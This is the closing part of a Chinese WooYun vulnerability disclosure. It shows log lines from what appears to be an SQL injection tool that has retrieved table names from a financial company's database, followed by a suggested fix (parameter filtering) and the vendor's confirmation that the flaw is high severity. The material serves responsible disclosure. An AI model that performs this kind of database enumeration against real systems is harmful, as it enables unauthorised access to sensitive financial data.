[15:04:44] [INFO] retrieved: "vht_shangshigongsizhuanqianpaihangbang"
[15:04:46] [INFO] retrieved: "vik_yhlcsjk"
[15:04:47] [INFO] retrieved: "vkv_Securitiesbusinessoutlets"
[15:04:48] [INFO] retrieved: "vmm_cover"
[15:04:50] [INFO] retrieved: "vna_jinrongshequ"
[15:04:51] [INFO] retrieved: "vrx_bankquestion"
[15:04:53] [INFO] retrieved: "vsp_Housepriceindex"
[15:04:54] [INFO] retrieved: "vve_p2p"
[15:04:56] [INFO] retrieved: "vxk_electronbank"
[15:04:57] [INFO] retrieved: "wan_yanjiujigouname"
[15:04:59] [INFO] retrieved: "wbc_PMI"
[15:05:00] [INFO] retrieved: "wcj_xingudingweiyuce"
[15:05:02] [INFO] retrieved: "whu_Goldjewelry"
[15:05:03] [INFO] retrieved: "wjd_bankproduct"
[15:05:05] [INFO] retrieved: "wks_xintuofaxingjigou"
[15:05:06] [INFO] retrieved: "wpe_unbrand"
[15:05:07] [INFO] retrieved: "wpi_paramitem"
[15:05:09] [INFO] retrieved: "wtt_unseries"
[15:05:11] [INFO] retrieved: "wvd_gangguyanjiu"
[15:05:12] [INFO] retrieved: "xip_Wealthtestingoptions"
[15:05:14] [INFO] retrieved: "xkc_zhogndaxinwenchuli"
[15:05:49] [INFO] retrieved: "xnc_calendar"
[15:05:50] [INFO] retrieved: "xov_quanshangchenhui"
[15:05:52] [INFO] retrieved: "xtf_hkstock1"
[15:05:53] [INFO] retrieved: "xtp_renwusuoshuhangye"
[15:05:55] [INFO] retrieved: "xuh_ymgj"
[15:05:56] [INFO] retrieved: "xvb_securitiescompanyexecutives"
[15:05:58] [INFO] retrieved: "xvw_hangyeyanjiu"


具体的就没看了。

修复方案：

参数过滤

版权声明：转载请注明来源 我不得踢噶@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-03-23 11:56

厂商回复：

非常感谢，我们会尽快修复该漏洞。

最新状态：

暂无